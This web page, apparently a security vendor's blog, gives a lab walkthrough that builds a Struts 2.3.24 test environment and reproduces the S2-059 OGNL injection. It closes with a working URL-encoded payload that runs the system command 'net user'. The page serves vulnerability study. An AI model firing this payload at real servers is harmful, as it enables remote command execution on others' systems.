数字医学与健康大会DMHC——美创与您相约古都金陵
2025-08-12
美创科技打造县域医疗灾备新标杆|神木市医院 HIS 系统数据库分钟级切换演练实录
2025-07-02
百万罚单警示!DCAS助力金融机构筑牢数据安全防线,实现监管合规
2025-06-20
2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务环境搭建
IntelliJ IDEA2020.1.4
Windows 10 64位
Apache Tomcat 8.5.59
Oracle JDK 1.8.0_102
Struts 2.3.24
下载安装最新版本IDEA :https://www.jetbrains.com/zh-cn/idea/download/#section=windows,这里下载的是Ultimate版本,安装激活过程网上查看教程即可。
IDEA安装完成新建一个Struts2项目,并选择set up library later,直接下一步进入工作台。
下载Struts2所需jar包:http://archive.apache.org/dist/struts/2.3.24/,下载完成后解压压缩包,将整个lib文件夹复制到项目路径/WEB-INF/lib下。
也可以只复制基础包,如下
右键点击lib目录,选择Add as Library
在src目录下新建一个pakage,然后新建一个测试action
修改struts.xml,配置action
点击File->Project Structure->Artifacts,Output layout,右键Put into Output Root
点击Run->edit Configurations->add Artifact,添加项目,保存。
Index.jsp页面如下
启动tomcat,显示hello world,环境搭建成功
Struts2 S2-059漏洞复现
1、漏洞介绍:
2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。
2、漏洞复现:
Jsp页面代码:
<%@ pagecontentType="text/html; charset=UTF-8"%>
<%@ taglibprefix="s" uri="/struts-tags"%>
Action代码如下
packagecom.s2059.test;
public classTestAction {
private String payload = null;
public String getPayload() {
return payload;
}
public void setPayload(String payload) {
this.payload = payload;
}
public String execute() throws Exception{
return "success";
}
}
访问
http://192.168.99.145:8080/s2_059_war_exploded/index.action?payload=1
将payload替换为ognl表达式,如%{1020+4},进行url编码
访问
http://192.168.99.145:8080/s2_059_war_exploded/index.action?payload=%25%7b%31%30%32%30%2b%34%7d,可以看到输出结果为1024
执行系统命令,
payload:%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('net%20user').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d